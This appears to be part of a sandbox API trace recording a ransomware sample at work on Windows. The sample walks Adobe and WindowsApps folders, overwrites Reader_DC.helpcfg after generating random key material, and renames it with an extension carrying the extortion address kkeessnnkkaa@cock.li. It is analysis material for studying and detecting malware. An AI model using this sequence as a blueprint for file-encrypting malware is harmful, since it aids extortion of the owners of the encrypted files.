	[0084.512] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33e07dd6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33e07dd6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.512] wcscmp (_String1="..", _String2=".") returned 1
	[0084.512] wcscmp (_String1="..", _String2="..") returned 0
	[0084.512] FindNextFileW (in: hFindFile=0x477a9e8, lpFindFileData=0x2dbe788 | out: lpFindFileData=0x2dbe788*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33e07dd6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x31d47305, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x31d47305, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1
	[0084.512] wcscmp (_String1="1.0", _String2=".") returned 1
	[0084.512] wcscmp (_String1="1.0", _String2="..") returned 1
	[0084.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ec960
	[0084.512] wcscpy (in: _Dest=0x47ec960, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM"
	[0084.513] wcscat (in: _Dest=0x47ec960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\"
	[0084.513] wcscat (in: _Dest=0x47ec960, _Source="1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0"

Thread:
	id = 485
	os_tid = 0x16bc

	[0077.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2e170a8
	[0077.396] wcscpy (in: _Dest=0x2e170a8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg"
	[0077.396] wcscat (in: _Dest=0x2e170a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\"
	[0077.396] wcscat (in: _Dest=0x2e170a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*"
	[0077.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbe9f0
	[0077.396] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d878f8
	[0079.985] wcscmp (_String1=".", _String2=".") returned 0
	[0079.985] FindNextFileW (in: hFindFile=0x2d878f8, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.985] wcscmp (_String1="..", _String2=".") returned 1
	[0079.985] wcscmp (_String1="..", _String2="..") returned 0
	[0079.985] FindNextFileW (in: hFindFile=0x2d878f8, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0079.985] wcscmp (_String1="en_US", _String2=".") returned 1
	[0079.985] wcscmp (_String1="en_US", _String2="..") returned 1
	[0079.985] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753980
	[0079.985] wcscpy (in: _Dest=0x4753980, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg"
	[0079.985] wcscat (in: _Dest=0x4753980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\"
	[0079.985] wcscat (in: _Dest=0x4753980, _Source="en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US"
	[0092.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bca10
	[0092.130] wcscpy (in: _Dest=0x47bca10, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US"
	[0092.130] wcscat (in: _Dest=0x47bca10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\"
	[0092.130] wcscat (in: _Dest=0x47bca10, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*"
	[0092.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030308
	[0092.130] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b5a8
	[0092.130] wcscmp (_String1=".", _String2=".") returned 0
	[0092.130] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3420de7a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3420de7a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.130] wcscmp (_String1="..", _String2=".") returned 1
	[0092.130] wcscmp (_String1="..", _String2="..") returned 0
	[0092.130] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x5030308 | out: lpFindFileData=0x5030308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3420de7a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_DC.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1
	[0092.130] wcscmp (_String1="Reader_DC.helpcfg", _String2=".") returned 1
	[0092.130] wcscmp (_String1="Reader_DC.helpcfg", _String2="..") returned 1
	[0092.130] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x48955e0
	[0092.130] wcscpy (in: _Dest=0x48955e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US"
	[0092.130] wcscat (in: _Dest=0x48955e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\"
	[0092.130] wcscat (in: _Dest=0x48955e0, _Source="Reader_DC.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg"
	[0092.131] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\reader_dc.helpcfg")) returned 0x20
	[0092.131] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg", dwFileAttributes=0x20) returned 1
	[0092.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\en_us\\reader_dc.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1450
	[0092.131] GetFileSizeEx (in: hFile=0x1450, lpFileSize=0x1333f9b8 | out: lpFileSize=0x1333f9b8*=714) returned 1
	[0092.131] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x2c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.131] ReadFile (in: hFile=0x1450, lpBuffer=0x1333f93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1333f938, lpOverlapped=0x0 | out: lpBuffer=0x1333f93c*, lpNumberOfBytesRead=0x1333f938*=0x4, lpOverlapped=0x0) returned 1
	[0092.135] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0092.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.135] NtQuerySystemTime (in: CurrentTime=0x1333f918 | out: CurrentTime=0x1333f918*=132251868188689954) returned 0x0
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x59dcc8ac
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xec203245
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xb1c1b200
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x953952af
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xccc3943c
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x82918dfa
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xc61a2890
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x50ecb207
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x991b635f
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xa7de505f
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x61b745ce
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x9df33947
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xec249d7
	[0092.135] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x44f3319c
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xee5d9e3f
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x9ea05457
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xf8a6ad85
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x256f5d32
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x9addc2bf
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x8476c982
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x813cfe06
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x9b5f2e92
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x7918d32
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x2e0c8226
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0xf33b57b6
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x96c8f467
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x421a5d6b
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x5b6bdc10
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x3eee29a0
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x3ea22cd8
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x9b3c74a5
	[0092.136] RtlRandom (in: Seed=0x1333f924 | out: Seed=0x1333f924) returned 0x70c3a0f3
	[0092.144] ReadFile (in: hFile=0x1450, lpBuffer=0x50bd898, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x1333f914, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesRead=0x1333f914*=0x2ca, lpOverlapped=0x0) returned 1
	[0092.144] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.144] WriteFile (in: hFile=0x1450, lpBuffer=0x50ca0a0*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x1333f910, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesWritten=0x1333f910*=0x2ca, lpOverlapped=0x0) returned 1
	[0092.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0092.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0092.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0092.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ca0a0) returned 1
	[0092.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50bd898) returned 1
	[0092.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83288) returned 1
	[0092.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0092.160] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x50592c8
	[0092.161] SetFilePointerEx (in: hFile=0x1450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.161] WriteFile (in: hFile=0x1450, lpBuffer=0x4771990*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x1333f978, lpOverlapped=0x0 | out: lpBuffer=0x4771990*, lpNumberOfBytesWritten=0x1333f978*=0x113, lpOverlapped=0x0) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771990) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5058df8) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50592c8) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0092.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32998
	[0092.163] wcscpy (in: _Dest=0x4e32998, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg"
	[0092.163] wcscat (in: _Dest=0x4e32998, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.163] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1333f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_DC.helpcfg.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491cb98
	[0092.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cb98) returned 1
	[0092.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eca8) returned 1
	[0092.164] NtQueryInformationFile (in: FileHandle=0x1450, IoStatusBlock=0x1333f93c, FileInformation=0x1333f914, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1333f93c, FileInformation=0x1333f914) returned 0x0
	[0092.164] NtSetInformationFile (FileHandle=0x1450, IoStatusBlock=0x1333f93c, FileInformation=0x1333f914, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.165] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0092.165] FlushFileBuffers (hFile=0x1450) returned 1
	[0093.278] CloseHandle (hObject=0x1450) 

Thread:
	id = 486
	os_tid = 0x16c0

	[0077.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2e17118
	[0077.397] wcscpy (in: _Dest=0x2e17118, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader"
	[0077.397] wcscat (in: _Dest=0x2e17118, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\"
	[0077.397] wcscat (in: _Dest=0x2e17118, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\*"
	[0077.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbec58
	[0077.397] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\*", lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad238
	[0078.799] wcscmp (_String1=".", _String2=".") returned 0
	[0078.799] FindNextFileW (in: hFindFile=0x2dad238, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.799] wcscmp (_String1="..", _String2=".") returned 1
	[0078.799] wcscmp (_String1="..", _String2="..") returned 0
	[0078.799] FindNextFileW (in: hFindFile=0x2dad238, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1
	[0078.799] wcscmp (_String1="DC", _String2=".") returned 1
	[0078.799] wcscmp (_String1="DC", _String2="..") returned 1
	[0078.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x47ecff0
	[0078.799] wcscpy (in: _Dest=0x47ecff0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader"
	[0078.799] wcscat (in: _Dest=0x47ecff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\"
	[0078.799] wcscat (in: _Dest=0x47ecff0, _Source="DC" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC"
	[0078.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ecff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0078.877] FindNextFileW (in: hFindFile=0x2dad238, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0
	[0078.877] FindClose (in: hFindFile=0x2dad238 | out: hFindFile=0x2dad238) returned 1
	[0078.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbec58) returned 1
	[0078.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17118) returned 1
	[0078.877] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e178f8) returned 1

Thread:
	id = 487
	os_tid = 0x16c4

	[0077.398] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0085.099] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.099] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.099] GetLastError () returned 0x5
	[0085.099] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.099] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f48d30) returned 1

Thread:
	id = 488
	os_tid = 0x16c8

	[0077.399] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0085.102] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
